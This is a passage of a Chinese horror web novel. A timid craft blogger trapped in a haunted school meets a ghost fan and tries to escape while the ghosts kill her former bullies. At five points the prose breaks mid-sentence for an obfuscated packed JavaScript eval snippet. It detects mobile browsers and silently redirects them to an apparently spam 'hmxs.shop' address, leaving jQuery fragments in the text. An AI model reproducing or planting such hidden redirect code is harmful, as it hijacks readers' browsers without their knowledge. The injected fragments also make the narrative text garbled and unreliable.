门后站着一个鬼影,因她突如其来的开门,她和鬼都吓了一跳。 “你干什么啊?吓死鬼了。”是沐灵玖,“难不成……你想跑走?” 潮曳慌忙摇头:“不,不是,我只是想……上厕所。” 叫沐灵玖的女鬼比雪溯还小两岁,只是个小姑娘,不知为什么不太待见潮曳: “溯哥哥让我来看着你,本来我也可以去杀猪头的!都怪你。要去厕所是吧?我在门口等你。” “……” 这下好了。 潮曳在卫生间内绞尽脑汁思考逃脱的办法。 窗户是出不去的,乔菱纱等人已经尝试过了。 门也是出不去的。 还有没有别的通道? 沐灵玖不耐烦的催促从门外传来:“你到底好了没有?啧,人类真麻烦。我进去了。” 女鬼飘了进来。 “磨磨蹭蹭的。” 潮曳无可奈何,只能在女鬼的监督下又回到了公主房。 她坐立难安,女鬼却百无聊赖,拿出工具盒子,在房间里做起了手工,不时抬头瞅两眼潮曳。 有这家伙在根本没法行动。 怎么办? 天已经亮了,白天会削弱鬼的灵力,正是逃跑的最佳时机。 一旦天黑再次下来,可就糟糕了。 “那个……” 沐灵玖:“干嘛?没看到我正忙着呢。” “……” “虽然溯哥哥说你是站在我们这边的。”沐灵玖咕哝,“但谁知道你在打什么主意……” “……” 长相一般,身材一般,毫无优点的普通人。 溯哥哥到底看上这家伙哪一点了? 沐灵玖是一年前来到这间学校的。 一开始,她很迷茫,不知今后的鬼生该如何度过。 她想念阳间的家人们,但飘回家后发现,父母亲已经渐渐从失去女儿的悲痛中走出来了。 他们收下了一笔钱,和她用美工刀划伤的那几个渣滓的家庭达成了和解。 沐灵玖不希望家人原谅伤害自己的家伙。但好像也没别的办法。 至少这笔钱,能让他们今后的生活有所保障吧。 她又飘到了高中唯一的朋友的家里。 朋友因为她的死大哭了一场,在网上的个人签名上写“09你为什么这么傻,下辈子还要一起做好朋友”。 沐灵玖悲伤不已,变成灵体后没法流泪,只能以鬼魂的形态抱了抱好朋友。 没想到因为鬼气太重,朋友第二天就生了一场病。 连续病了三个星期,病好后,朋友渐渐忘掉了沐灵玖,签名很快更新为“考试加油!”。 活人总是会淡忘掉死人的。 沐灵玖意识到这样飘在人类聚集的阳气旺盛的地方不是办法,便游荡到深山里。 偶然间,进入了城堡一样的学校。 这里全都是和她一样的孤魂野鬼。 死得心不甘情不愿,灵体遗留于尘世,无法归去。 这栋学校成为他们的容身之所,久而久之聚集越来越多的鬼魂,阴气比一百间墓园加起来还重。 沐灵玖很快对叫做雪溯的俊美少年产生了好感。 他们有相似的经历,都受到欺凌,挣扎过,反抗过,最后失败。 可雪溯只把她当妹妹,拒绝了她的告白。 他说他有喜欢的人了。 沐灵玖闷闷不乐了一阵,逐渐放下了这段感情。 雪溯把欺负沐灵玖的渣滓引来了学校, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792040|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略施计策,先是让他们担惊受怕,互相猜忌,直至歇斯底里,再一个接一个杀掉他们。 每个人都死得很惨,没有全尸。 活该。 大仇得报,沐灵玖度过了死后最快乐的一天。 她发自内心祝福雪溯哥哥和他喜欢的人,一定要幸福。 甚至出谋划策: “雪溯哥哥,要不要杀了那个人,这样你们就能永远在一起了。” “我还要考虑一下。” “如果你下不了手,我帮你杀!” “谢谢你灵玖。不过如果真的要动手,还是我自己来吧。” 沐灵玖认为雪溯喜欢的人一定是一个绝世大美女。 他说那是高中时期唯一帮助过他的人,在他最绝望的时候,因为有她在,他才能坚持下去。 人美心善。 沐灵玖盼望着见到大美女。 终于。 来到了这一天。 怎么和她想象的不一样。 大美女呢??? 这 个又矮又胖的阴沉蘑菇头是谁?? 雪溯哥哥看她的眼神,就像沐灵玖观看最喜欢的手工博主“潮汐之夜”的视频的眼神一样。 专注,深情,怜爱,只有对方。 沐灵玖觉得溯哥哥一定是被骗了。 她不想以貌取人。就算撇开“人美”这回事,这个阴暗得像下水道老鼠的家伙也绝对和“心善”无关! 越想越觉得不对。沐灵玖望着潮曳的眼神变得凶恶起来,像一只蓄势待发的兔子。 潮曳:“……我只是想说,你拿雕刻刀的时候,可以试着把重心放前面一点。” “你算什么,来指教我?” “没有……只是……那样的话……线条会更平滑……好看……” 女鬼一脸狐疑。 却还是听了潮曳的话。 “处理细节的时候,不同的木材纹理,有不同的方法,最好先试着看那把刀最合适,一点点来,耐心很重要……” 女鬼拿着刀的手顿住: “你……也会木雕?” “会……一点。” “溯哥哥从没说过。” “他……不知道。” 沐灵玖哼了一声,低头削木头。 潮曳看着她做手工,手也痒了起来。 好想回家啊。 潮曳的背包被雪溯放在床头柜上。 包里有一些应急用品,充电宝,卫生巾,水杯,手工娃娃……还有一包盐。 出门时太紧张,本来要拿的是别的,却误拿成了盐。 不过现在看来,正好能派上用场。 盐能驱鬼。 用它绊住沐灵玖,趁乱逃出去吧! 潮曳不动声色地伸手,挪向背包。 在她够到包之前,被沐灵玖觉察了: “喂,你在干什么?” 潮曳浑身一惊,手指拽动包带,背包从床头柜掉下来,里头东西散落一地。 完了…… 沐灵玖捡起掉在地上的东西。 潮曳飞速思考如何应对接下来的状况。 已知,女鬼对她没有任何好感,甚至有点讨厌她。 潮曳非常熟悉和习惯于这种来自他人的厌恶,她照镜子时也会产生类似情绪。 给她下跪道歉吧。 潮曳正打算跪下来。 “你怎么会有这个玩偶?” 沐灵玖手中拿着潮曳做的手工玩偶。 “难道你是……潮汐……之夜?” 10.鬼打墙啊 乔菱纱将门反锁。 她推起书柜,因力气不够,中间停了下来,对身后吓呆的两个男人: “快点过来帮忙!” 谢博彦走了过去,和乔菱纱一起将书柜挪挡在了门后。 “如果真是鬼魂在作祟,这又能挡住什么……”谢博彦道。 “谁跟你说是鬼?”乔菱纱道,“这种深山野岭,藏着某个连环杀手,我们倒霉被盯上了而已。志远已经失联超过十二小时,朱家肯定派人在救援的路上了,只要熬过今晚就好了。” “就是,纱纱分析的在理!”朱志远道。 乔菱纱三人此刻躲藏在一间多媒体教室。 教室内的灯打不开,只有谢博彦随身携带手电筒,电筒的绿光照出一片圆弧,三人就躲在这片圆弧之后。 章丽宝和容霏霏死了。 周行之和林潮曳不知所踪。 如果这是恐怖片,接下来要遭殃的就是他们了。 乔菱纱握紧口袋里的东西,祈祷度过一个平安无事的夜晚。 …… 晨光映入眼中。 “醒醒,志远,天亮了。” 乔菱纱叫醒了朱志远和谢博彦。 三人见自己安然无恙,都松了口气。 “早就说了,哪有什么鬼不鬼的!都是想太多了。瞧你那怂样,谢博彦,怎么,就这么怕雪溯来找你报仇?!” 朱志远哈哈大笑,话中讥讽丝毫不掩藏。 谢博彦面露稍许不快,却不敢在朱志远面前展现。 “志远,你爸给你的珠串呢?” “带着呢。那老不死的玩意儿,要是被他发现我没戴,得把我皮都剥了。” “戴着就好,不管发生什么事都别摘下。” 挪开厚沉沉的书柜,三人从多媒体教室走出。 白天的城堡学校看上去没那么诡异,但窗外仍旧下着雪,一片森冷白茫。 “趁天亮,我们要想办法找到出去的路。”乔菱纱说道,“谢博彦,你在前面探路。记着,不管如何都不能落单,每隔五分钟互相喊每个人的名字,有回应才继续走。” 朱志远觉得乔菱纱有些夸张了:“纱纱,至于吗?这大白天的,就算有鬼也不敢出来。” 朱志远走到走廊正中,大喊:“半脸怪物!姓雪的废物!你他妈早死得只剩几块骨灰了,什么被欺负,那纯是你个怪胎活该!长那样一张脸,死了对你是好事!想找老子报仇你他妈就来啊!哈哈哈哈哈哈!” 长廊响着回音。 乔菱纱:“好了志远,正事要紧。” 三人往楼梯走去。 当务之急是寻找出口。 他们目前所在位置是学校的四楼,正对楼梯口的窗户旁挂着一块时钟,已经停动了。 往下走,会到达三楼。 三楼的墙壁上挂着一幅油画,画面是一家三口,手牵着手。 再往下,到二楼,二楼的墙上什么都没有。 然而乔菱纱等人从三楼下到二楼,看到楼道口挂着一幅画。 画里是牵着手的一家三口。 朱志远没觉哪里不对,乔菱纱却微微皱起眉。 继续走,该到一楼的大厅了。 然而,他们却再次看到窗户旁停止运作的时钟。 这里是……四楼。 接下来的时间,不管乔菱纱等人怎么走,都会在三楼走到二楼的时候,诡异地回到四楼,走下三楼,又回到四楼……陷入了无尽循环的鬼打墙之中。 “妈的谢博彦,这到底是怎么一回事?是你带的路!” “这不对劲,我们明明一直在下楼,却又回到了四楼……”谢博彦喃喃,“鬼打墙了。” 乔菱纱强作镇定:“往回走试试看。” 三人这次往楼上走去。 到四楼了。 再往上走。 一家三口的油画出现在眼前。 不知是不是心理作用,画面里的人物变得扭曲,看起来像悬浮在半空,身体还往下滴着什么东西,黑红色的。 血。 从身体流出来苦痛不甘之血。 “操,这他妈不太对劲!菱纱,我们是不是走错了?” “冷静点志远。”乔菱纱道,“谢博彦,你刚刚在楼梯时有没有发现异常?” “楼梯上的脚步声很杂乱,好像……不止我们三个人。” …… 不知多少次尝试了。 每一次下楼后,跟在身后的脚步声都在变多。 三楼墙壁的画也变得更加惊悚。 乔菱纱和谢博彦强自维持镇定。但朱志远受不了了。 他正处于崩溃的边缘。 “怎么会没有信号?!到底要在这鬼地方绕到什么时候!” 朱志远突然恶狠狠盯着谢博彦: “是不是你干的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797929|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢博彦:“什么?” 朱志远一把揪起谢博彦的衣领。 朱志远身形肥壮,占据体重优势,谢博彦在他面前毫无还手之力。 “姓谢的,老子不止一次看到你用色眯眯的眼神看菱纱了,你他妈以为你是谁?!” “我——” “少给我装蒜!这都是你搞出来的吧,装神弄鬼,吓唬我们!说,是不是你杀了容霏霏和章丽宝?!” 谢博彦矢口否认:“不是我!” “那会是谁?!这个鬼地方只有我们几个人!就是你干的!” 朱志远对着谢博彦拳打脚踢起来。 乔菱纱冷脸旁观一阵,直到谢博彦被揍得直不起身,她才出言阻止:“好了志远。” 朱志远发泄了积攒已久的怨气和恐惧,气喘吁吁地在走廊上的沙发坐下。 乔菱纱不动声色地递了张纸巾给谢博彦。 谢博彦擦拭着脸上鲜血,顿了顿,开口道:“我……有一个提议。” “说来听听。” “那副画,说不定有什么机关。” 乔菱纱:“你去把画拿下来。” 谢博彦将墙上的画取下来,检查了一番,没发现什么线索。 但当他把画挂回去时,突然觉到胳膊一凉。 有什么东西抓住他的手。 指甲嵌入肉里,冰冷气息贯穿了脉管一般,血液都要冻僵了。 谢博彦慌忙想将画丢开,那抓住他手的“东西”却越缠越紧,甚至往他身上蔓延过来,想爬上他的脖子,勒住他的咽喉。 谢博彦寒毛倒竖,迅速打开手电筒,对着手上照射过去。 强光之下,手上的“东西”不见了。 谢博彦正松一口气,突然感觉腿上湿黏黏的,低头看见自己的双腿沾满粘稠的鲜血,简直像从血水中捞出来的! 这下他再难保持冷静,砰一声摔倒在地,画也掉在一旁。 “怎么了?!” “血,都是血!”谢博彦惊恐道,“难道你看不见吗?” “什么都没有。你疯了吗?” “……” 谢博彦咽了口唾沫。 定睛望去,他的腿上的确什么都没有,干干净净的。 “快起来,继续找出口。”乔菱纱边说边回头,“志远,你休息好了——” 沙发上空荡荡的,早已没有朱志远的身影。 11.鬼粉丝啊 沐灵玖:“难道你是……潮汐之夜?” 潮汐之夜是潮曳的网名。 也是潮曳曾经运营的一个频道,全称潮汐之夜手工集会。 粉丝量最多的时候,达到了2万左右。 这个数据比起那些大博主而言不算什么,但却是潮曳一点一点积累下来的。 她会在“潮汐之夜”上发表自己的手工作品,包括教程,材料挑选,制作技巧等等。 一开始,她发的视频没有任何人观看,纯粹是自娱自乐。 但渐渐的,视频有了播放量和收藏,还有人评论。 问她某个地方是怎么做出来的,有人夸赞“做得太逼真了!”“看明白了,所以博主什么时候把手寄给我?”“你真是个甜菜[赞]”。 潮曳第一次看到这些评论的时候,吓得连夜删除视频,注销了账号。 过了两周,潮曳冷静下来。 或许是现实中太过寂寞,没有人可以分享手工的爱好。 或许是心底深处,一直渴求着某样只属于自己的认可感。 潮曳颤抖着手,找回了注销掉的账号,发表了新的视频。 那是她为死亡金属乐队“藏尸于我”制作的乐队成员五人的黏土手办。 前前后后一共耗时两个月。 乐器比较难做,她研究挑选了很久的材料,因为想做出可动的效果,又在中间重新设计了机械草图。 最后的成品效果足以以假乱真。 视频发表的头两天,没有任何反响。 直到第三天的时候,潮曳收到了一条评论。 “博主!!是你!!!之前一直找不到你的号,没想到又能看到新作品!做的太牛逼了!!![点赞]” 潮曳在房间上蹿下跳,无声尖叫,藏在被子里滚了十来圈,最后跪在电脑前,回复了一个“谢谢”。 没有人夸过她。 从小到大,老师也好,父母也好,同学也好,甚至她自己也好。 没有人。 隔着网络素不相识的陌生人,夸赞她做的东西“牛逼”。 潮曳像被注入鸡血,又连着发了十几条视频。 可动人偶,羊毛毡,乐高,木雕,钩针,旧物改造…… 只要是动手的活计,没有潮曳不会的。 潮汐之夜频道的粉丝越来越多。 潮曳会回复每一条评论,虽然因为不会说话,她回复的内容大多是“谢谢”加上一堆表情。 但如果对方询问制作方面的问题,她会认真敲下每一个字,甚至洋洋洒洒打了上千字的回复,把自己的手工技巧倾囊相授。 潮曳接到了人生第一个广告,收获了第一桶金。 有厂商找潮曳合作,有粉丝想定制玩偶……潮曳第一次知道做手工除了烧钱外,还能赚到钱。 她渐渐能养活自己,大学毕业后便从家里搬出来,一个人生活。 潮曳没有去工作,她阴暗老鼠般的性格注定无法适应任何岗位。 好在“潮汐之夜手工集会”的人气越来越高,每个月的收入在付完房租水电后还有不少余裕。潮曳的吃喝非常节省,省下的钱购入更多材料和工具,她有好多好多的手工灵感,怎么做都做不完。 潮曳还收到了“藏尸于我”乐队官方的私信。 官方表示看到了她的视频,本来想告她侵权的,但由于她做的手办实在是太精致了,现在考虑和她合作量产。 随后附上了一个让潮曳当场晕厥的买断价格。 潮曳二十多年的人生一直活在没比地狱好多少的处境之中。 小学纯路人,初中无人在意,高中受到校园霸凌,大学更是比公共课的PPT还没有存在感。 可如今,似是苦尽甘来,命运终于向她展现温柔的一面。 “努力就会有回报”不是骗人的。还好她从来没有放弃做手工。 嘀嘀。 后台出现了一条新私信。 “这是你吧?” 只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802378|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个字。 附带一张图片。 是潮曳的高中毕业照。 命运之神终于没忍住咧起嘴,露出久候多时的狰狞讽笑。 潮曳从没在视频中露过脸,声音也是通过后期合成的。 甚至制作过程中不得不出现的双手——也戴着具有拉长效果的手套。 她很清楚,这个虚拟网络世界中的人,喜欢的是会做手工的“潮汐之夜”,不是潮曳。 必须把现实中的自己藏起来,打包进一只小小的盒子里,遮起,锁上,丢进黑暗。 不能被发现。 又一条私信。 “听说你高中的时候校园霸凌过同学啊?” “还把人害得自杀了。” “你这种人下地狱去吧。” “还好意思发视频。” “真想让你的粉丝们看看你现实里是什么样的人。” …… 潮曳没有勇气回复这些私信。 她再次删除了所有视频,注销账号,拉黑了“藏尸于我”乐队官方账号。 一夜之间,“潮汐之夜手工集会”消失在了网络。 …… “这个玩偶,只在潮汐之夜的视频里出现过,是她原创的角色,你怎么会……” 沐灵玖一脸难以置信。 那副表情,像地心说的拥护者得知地球是绕太阳旋转的。 潮曳满脸通红,支支吾吾说不出话来。 沐灵玖又捡起了其他手工娃娃。 “这只乌龟是……娜比诺娜……” “这是……夜血蜘蛛……” “啊这个是!我最喜欢的博多兔子!!!” “这些,都是你……做的吗?” 潮曳僵硬地点了点头。 沐灵玖的表情像是要哭出来,但碍于变成鬼后无法流泪。 便扑通一声跪在地上,脖子上的刀扎得更深了些: “终于见到你了,潮汐女神!!!” 12.手工女神 沐灵玖跪倒在潮曳身前。 她还想给潮曳磕头,被反应过来的潮曳拦住。 “你、你、你干什么……” “呜呜……女神……我被女神的手摸了……”沐灵玖小心翼翼地捧起潮曳圆圆的双手,“我可以亲一口它们吗?” 潮曳瞪大双眼,嗖地把手收回,看鬼一样望着沐灵玖。 “对不起呜呜,我只是太激动了……我没有想到这辈子能有和潮汐之夜面对面讲话的机会……你的作品就是我的精神支柱……” “天哪,你的手指真的太好看了,就是这双灵巧的手做出了那么多神迹吗?真的……不能亲一口?” “……” 沐灵玖眨巴着眼睛。 “就,就一下的话……” 沐灵玖啵的亲吻了潮曳的手。 “……” “潮汐之夜,你为什么突然注销账号,还把所有的视频都删除了,我还以为你发生了什么事……” “那、那是……因为……” “没关系。不想告诉我也没关系。你做的东西简直是宇宙级神迹……不管我怎么学都做不出和你一样的成品……潮汐之夜,我可以叫你的名字吗?潮曳姐姐!” “……” 在沐灵玖亲吻她的手的时候,潮曳已经起了一身鸡皮疙瘩。 这诡异的四字称呼冒出来,潮曳更是头皮发麻,僵在原地。 潮曳回想起来,曾经的确在“潮汐之夜”的评论区看到过一个奇怪的用户。 对方的评论每晚12点准时刷出,内容永远是空白的,IP地址则显示未知,点进主页后什么都没有。 头像也是默认头像,有时会在凌晨的时候突然变成黑色的,过了几秒又恢复正常。 潮曳以为是系统的问题,没有太在意。 原来是闹鬼了啊…… 女鬼望着她的眼神充满崇拜。 这种崇拜发自内心,无法伪装。 就算潮曳想怀疑这是某样新型整蛊游戏,也缺乏强有力的依据。 她完全不知所措。 “不旦会做手工,人还那么善良,雪溯哥哥说你是唯一对他伸出援手的人,难怪……换我也会爱上你……潮曳姐姐,你就是神……” 善良。 班上同学全都对雪溯遭受的欺凌置若罔闻。 别说出手阻拦,甚至连半句异言都没有过。 缩头乌龟,躲在群体性沉默背后,惧怕火焰燃烧到自己身上。 又或者在过程中体味到作为观看者的幽秘娱乐性,不知不觉沉醉其中,绝对安全的欣赏模式。 还是失调的认知,受害者有罪论的推崇者,无能为力的平庸。 不管找再多借口,都是帮凶。 雪溯并没有放过他们。 只是稍微手下留情了。 那对于潮曳呢? 善良。 这个词怎么都沦落不到她身上。 她比沉默帮凶的同班同学、丧心病狂的乔菱纱六人、助纣为虐的薛宣仁——还要坏上一百倍不止。 倘若雪溯知道了真实的她,别说喜欢,她应该会死得比任何人都惨。 在那之前,必须逃离这个地方。 在生存面前,潮曳变得异常冷静。 她望着身旁星星眼的沐灵玖,道:“你,还想看其他的吗?” 沐灵玖眨着眼睛:“什么什么?” “我做的……东西。”潮曳道,“还没有人看过的。” “看完让我立刻去死都行。”她好像忘记自己已经死了…… “但它们都在……车上。” “可是,雪溯哥哥说过不能让你离开这里……” “你和我一起去……不就行了?” “这个……” “看完了,就回来。”潮曳道,“可以把博多兔子送给你,刚好多做了一只。” 沐灵玖:“立刻出发!” …… 沐灵玖带着潮曳穿过走廊,往楼上飘去。 这间学校比潮曳想象中要大得多,很容易就会迷路。 地板也年久失修,时不时发出嘎吱嘎吱的声音,稍微用力就会踩塌。 潮曳担心再摔进某个遍布人骨的地窖,走得小心翼翼。 沐灵玖熟悉地形,轻车熟路地带领着潮曳。 她们来到一个狭长的房间,两侧都是镜子。 长的宽的,方的圆的,各式各样的镜子映照出潮曳的身影,却没照出沐灵玖的。 原来鬼不怕镜子的。 不但不怕镜子,刚刚沐灵玖淡定地捡起她掉在地上的盐,也没什么特殊反应。 还好没用盐巴对付她,不然岂不是尴尬死了…… 房间尽头出现一扇镜面门。 沐灵玖的手放在门把上,迟疑数秒,又收了回来。 “那个,潮曳姐姐……” “怎、怎么了?” “要不然还是算了吧。”沐灵玖露出一脸为难的表情,“我真的很想看你的作品,但……不瞒你说,其实我有一点害怕雪溯哥哥。” “……” “如果被他知道我偷偷带你出去……啊不敢想不敢想。” 雪溯对沐灵玖等鬼一直很照顾。 即使他当鬼的资历并不算长,但很快代替了灵体日渐消散的雪苏哥哥,成为他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818326|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的领导者。 沐灵玖很喜欢雪溯,也很崇拜他。 雪溯很聪明。 不是那种仗着自己是鬼,就觉得对付人类绝对占上风的傲慢的聪明。 他的聪明是一种无声无息的忍耐。是抽丝剥茧,一点点侵蚀对方。 他会用那些人类生前一模一样的作恶手段对付他们。 有时还会故意玩弄敌人的心理。 耐心地等到他们放松警惕,以为自己终于安全的时候,再像蛇一样游现。 在最脆弱的地方咬一口,淌下粘稠阴冷的毒汁。 比起□□上的折磨,这种精神上的拷打残忍得多。 但雪溯不会伤及无辜。 他们从来没有对无辜的人类下过手,那些惨死的家伙全都罪有应得。 雪溯对同伴们很好。 虽然长着一副冷淡孤傲的模样,但其实很重情义。 沐灵玖很听雪溯的话,只要是他吩咐的事,她一定做到。 但沐灵玖不得不承认,有时候她并不清楚雪溯在想什么。 那只淡蓝色的眼睛好像什么都没在注视。 像雪一样飘落,无根无由,仅仅只是落下。 …… 要是被雪溯知道自己偷偷带女神离开学校,他一定会生气的。 沐灵玖只见过一次雪溯生气的样子。超级无敌霹雳可怕。 还是等溯哥哥杀完人后,再问他吧…… “潮曳姐姐,对不起,我不能让你——” 楼下传来朱志远撕心裂肺的吼叫声。 潮曳抓住沐灵玖这一瞬间的分神,夺门狂奔而出。 “潮曳姐姐?!” 潮曳打开手机闪光灯,借着镜子反射向身后女鬼,头也不回地跑远。 * 意识到自己落单的时候,朱志远面前已经一个人都没有了。 喊了好几声乔菱纱和谢博彦的名字,没有一句回应。 朱志远焦躁起来。 作为一个一无所长,情绪不稳定的公子哥,他消解焦躁感的方式是打砸周围的事物。 装饰花瓶、挂画、落地灯……所有拿得动的东西都被他一顿猛砸,狠狠抒发着不爽。 恶人绝不内耗。 砸累了低下头,看到仍旧显示着“无信号”的手机,朱志远几乎想把手机也给砸了。 他走进前面的浴室,打开水龙头,打算洗把脸。 水龙头发出酸涩的吱呀声,拧到最底,漏了两滴水。 “操!” 流水的声音。 哗啦啦。 隔着模糊水雾,一个身材曼妙的女人正在浴室里洗澡。 13.胶带妈妈 一个妙龄女子正在浴室里洗澡。 光是听着响在耳边的流水声音,就足够让人浮想联翩。 朱志远心中一动,没有贸然走近:“谁在哪?” 水流声盖住了朱志远的声音。 水雾朦胧,正对淋浴间的镜子,映照出一个留着及腰长发的身影。 黑色发丝如水草散落,衬出一身白得发光的肌肤,和那不盈一握的腰身及修长的双腿。 朱志远本就是一个常年被小头控制大头的男性,猝不及防看到这样香艳画面,什么鬼不鬼的被忘个一干二净。 “大白天的,你怎么一个人在这里洗澡啊?” 朱志远语声淫猥,边说边朝淋浴间走了过去: “要不要我和你一起?” 水雾更浓。 奇怪。 明明没几步路,走了半天,朱志远也没走到淋浴间。 “怎么不搭理人?问你话呢!” 雾气中的女人抬起脸。 一只布满红血丝的眼睛和朱志远对上视线,霎时将后者吓了一跳,兴致全无。 朱志远骂着脏话,停下了脚步,正欲转回身。 咔。 手间的辟邪珠串突然崩开了一颗。 朱志远慌忙蹲下寻找。 珠子不知滚到哪里,能听见骨碌碌的滚动声,却看不到。 朱志远像只青蛙一样趴着,四处摸索。 终于,在地漏旁边看到了。 在他捡起珠子时,珠子却从地漏缝隙掉进了下水道。 朱志远怒不可遏,对着地漏掏了半天,没捞出珠子。 “要我帮你吗?” 女人的声音响在耳边。 并不甜美,异常嘶哑。 赤裸的身躯一览无余,朱志远忘记不愉快,露出猥琐的笑:“大美人,你想怎么帮?” “反正已经坏了,再被水淋湿不好。把它摘掉,和我共浴吧。” 充满诱惑的邀请。 朱志远起了生理反应,恨不得立刻脱光身上衣服。 但,手串是不能摘下的。 朱志远还记得乔菱纱说的话。 这颗手串是朱旭胜给他的传家宝,能抵御一切邪魔鬼祟。 “这样啊,那就没办法了。” 女人的声音有点失望。 朱志远□□焚身,哪里肯放弃:“别走!” 女人被抓住肩膀,不情不愿地转身:“那好吧。” 朱志远脱光身上的衣服,猴急地抱住女人啃咬起来。 然而亲着亲着,他意识到不对,女人的身体摸起来不如想象中光滑,反而十分粗糙,定睛一看,竟布满大大小小的青紫瘢痕,狰狞悚人,不仅如此,他的手还越摸越黏,仿佛触碰到的是一滩胶水。 朱志远大吼一声,推开了女人。 他手上的珠串竟变成一捆胶带,紧紧缠绕着腕间,越勒越紧,像要黏进身体深处一样。 朱志远使出全力将胶带撕下,牵拉着皮肉一阵撕裂疼痛。 他将异常粘粘的胶带撇下,胶带顺着水流冲进黑漆漆的地漏。 可奇怪的是,下一瞬间他却看见自己手上的手毛完好,仿佛撕扯的剧痛只是一种幻觉。 刷啦啦—— 耳边响起地漏吞噬水流的巨响声。 朱志远低头望去。 他的辟邪手串混着一股股黑发,被冲进了下水道。 等朱志远反应过来这意味着什么,周遭的气温已在不知不觉间下降,冷到四肢百骸都在打颤。 女人的身影不见了。 朱志远抬起头来,看到了毕生难忘的一幕。 * 潮曳不知自己跑了多久。 她以为从镜子房间出来就是学校出口,然而她想错了。 她进入了一个没来过的地方,像是淋浴房,却大得像迷宫。 墙壁和地砖全都发霉了,紫黑色霉菌蔓延生长,好似一头混沌无序的生物,正在吞食这个房间。 四周散发着潮湿、腐败的刺鼻气味,极具攻击性,只要闻一口,便将整个鼻腔占据,呼吸都是那挥之不去的臭味。 淋浴房内有多个浴缸,浴缸中蓄满黑色污水,挤塞着各式各样扭曲的尸体。 完全腐烂的尸体,腐烂了一半的尸体,正被苍蝇和老鼠享用的尸体,埋在排泄物之中的尸体。 潮曳不敢看一眼,在路过其中一个浴缸时,她仿佛看到一具尸体动了动,头转向了她的位置。 不要杀我。 求求你。 放过我吧。 尸体是听不到她的恳求的。潮曳感觉到后脖一凉。 被抓住了。 冰冷鬼手顺着她的脖子往上移去,慢慢地插进了潮曳的短发,盖住了她的头皮。 她的头就像不属于自己的,正被一点点揪紧、再揪紧。那种发麻的感觉从头顶蔓延至脚底,甚至能听到对方尖利的指甲划擦过头皮时的声响,像在玩弄一只瑟瑟发抖的小鼠。 很显然,对方打算将她的头皮活活剥下来。 潮曳哭了出来。 她实在是太害怕,连哭的声音都没有,只能一个劲流泪。 潮曳以为自己死定了,走马灯都过了一遍。 但面前忽然飘来了一个男人。 他苍白瘦削,形容模糊,坐在一团黑乎乎的轮椅一样的事物上,像一道水中影,随时随刻都要消散,黑漆漆的眼睛异常深邃,却没有神光。 他阻止了潮曳身后的鬼。 鬼手慢慢收回,头皮的揪扯感消失了。 男人的身影也不见了。 潮曳后知后觉意识到自己被救了。虽然不知道原因是什么。 她不想探究。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822419|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类之于怨灵,就像蚂蚁之于大象,肆意拿捏,予生予死,不过一念之间。 潮曳只想逃走。 地上出现了两道在此之前没有的水迹。 是刚刚救了潮曳的男人留下的。 潮曳跟随水迹向前,终于看见了淋浴房的出口。 可就在出去前,潮曳听到了声音: “救……救……救命……好……痛苦……救……对……不……” 是残猪的声音。 在潮曳的印象中,从没有听到过朱志远发出过这种声音。 她恐惧到了极点,又莫名兴奋,脚下不受控制地朝声音位置走去。 看到了。 赤身裸体的残猪。 朱志远的身体倒挂在天花板下,身上布满胶带撕扯留下的印痕,没有一块完整的肉。 